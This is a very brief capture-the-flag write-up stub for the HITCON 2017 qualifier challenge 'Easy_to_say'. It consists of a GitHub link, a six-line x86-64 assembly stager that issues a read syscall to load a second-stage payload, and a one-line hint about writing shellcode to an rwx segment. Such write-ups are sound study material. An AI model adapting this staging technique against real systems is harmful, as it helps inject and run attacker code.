[https://github.com/ssspeedgit00/CTF/tree/master/2017/HITCON_2017_quals/Easy_to_say](https://github.com/ssspeedgit00/CTF/tree/master/2017/HITCON_2017_quals/Easy_to_say)

```asm
mov dx, 0x1000
sub rsp, rdx
pop rbx
pop r15
pop rsi
syscall
```
Write shellcode on `rwx` segment.

Original writeup (https://github.com/ssspeedgit00/CTF/tree/master/2017/HITCON_2017_quals/Easy_to_say).